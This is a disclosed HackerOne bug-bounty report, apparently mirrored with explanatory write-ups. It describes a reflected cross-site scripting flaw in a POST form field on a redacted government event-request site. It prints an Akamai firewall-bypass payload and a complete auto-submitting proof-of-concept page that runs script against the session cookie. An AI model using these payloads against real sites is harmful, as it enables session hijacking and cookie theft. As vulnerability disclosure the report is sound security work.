Cross-Site Scripting (XSS) Vulnerability via POST Method + Akamai Firewall Bypass
A form field submitted via POST was reflected into the page without proper encoding, allowing an attacker to inject an anchor element with an event handler that runs script. The attacker could steal cookies and hijack sessions, and the payload was crafted to evade the Akamai firewall.
Originally disclosed on HackerOne
- Triaged in 6 hours
- Fixed in 20 days
- Disclosed after 15 months
Hi! I discovered a Cross-Site Scripting (XSS) vulnerability on █████████, specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Payload to bypass Akamai Firewall: '"><A HRef=" AutoFocus OnFocus=top/**/?.'ale'%2B'rt'>
References
█████████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited:
Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
█████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Use this code in your own website to execute the XSS Method Post. If it asks to agree to consent, accept in the website and use the PoC again.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="██████" method="POST">
<input type="hidden" name="EVENT_CITY" value="San Francisco'"><A HRef=\" AutoFocus OnFocus=top█████████;**████;?.['ale'+'rt'](document+cookie)>" />
<input type="hidden" name="EVENT_END_DATE" value="████████" />
<input type="hidden" name="EVENT_POC_ALT_PHONE" value="█████████" />
<input type="hidden" name="EVENT_POC_CITY" value="San Francisco" />
<input type="hidden" name="EVENT_POC_EMAIL" value="testing@example.com" />
<input type="hidden" name="EVENT_POC_FAX" value="317-317-3137" />
<input type="hidden" name="EVENT_POC_FIRST_NAME" value="fnfOzvSR" />
<input type="hidden" name="EVENT_POC_LAST_NAME" value="fnfOzvSR" />
<input type="hidden" name="EVENT_POC_MI" value="1" />
<input type="hidden" name="EVENT_POC_PRIM_PHONE" value="████████" />
<input type="hidden" name="EVENT_POC_ROOM" value="1" />
<input type="hidden" name="EVENT_POC_STATE" value="AL" />
<input type="hidden" name="EVENT_POC_STREET" value="█████████Street" />
<input type="hidden" name="EVENT_POC_TITLE" value="Mr." />
<input type="hidden" name="EVENT_POC_ZIP" value="94102" />
<input type="hidden" name="EVENT_ROOM" value="1" />
<input type="hidden" name="EVENT_SITE_NAME" value="fnfOzvSR" />
<input type="hidden" name="EVENT_START_DATE" value="████" />
<input type="hidden" name="EVENT_STATE" value="AL" />
<input type="hidden" name="EVENT_STREET" value="█████Street" />
<input type="hidden" name="EVENT_TITLE" value="Mr." />
<input type="hidden" name="EVENT_URL" value="http:██████;████;www.example.com" />
<input type="hidden" name="EVENT_ZIP" value="94102" />
<input type="hidden" name="EXPECTED_ATTENDANCE" value="11███;2011" />
<input type="hidden" name="FED_GOVT_BRANCH_AGENCY" value="20" />
<input type="hidden" name="SPONSOR_ORG_SVC_BRANCH_OID" value="1" />
<input type="hidden" name="SPONSOR_ORG_TYPE" value="S-DoD" />
<input type="hidden" name="WIZARD_CHECKBOXES" value="SPONSOR_ORG_TYPE" />
<input type="hidden" name="button_save_and_continue" value="Save & Continue" />
<input type="hidden" name="pageNumber" value="20" />
<input type="hidden" name="priorPageNumber" value="20" />
<input type="hidden" name="requestID" value="C6FAC0A7-E6E4-C637-E3DAAE6E3C7A6F1F" />
<input type="hidden" name="returnTab" value="10" />
<input type="hidden" name="showOutreachType" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application reflected a POST parameter into HTML output without context-appropriate encoding, and the firewall's filter was bypassed by using an anchor element with an event handler rather than a script tag.
Impact
An attacker could steal cookies and impersonate legitimate users, though the report does not show a full end-to-end exploitation beyond the payload executing.
What the attacker needed
Victim visits attacker page; victim is logged in; consent prompt may need accepting
How it was found
- Host a page containing an auto-submitting form that posts to the target endpoint.
- Include the crafted value in the event city field along with the other expected form fields.
- If a consent prompt appears, accept it and submit the proof of concept again.
- The injected markup may execute in the browser.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a website takes what you type into a form and puts it back on the page without cleaning it, an attacker can type code instead of normal text. The browser then treats that code as part of the page and runs it, which lets the attacker act as the logged-in user. Here the attacker hid the code inside a link element so the site's firewall did not spot it.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.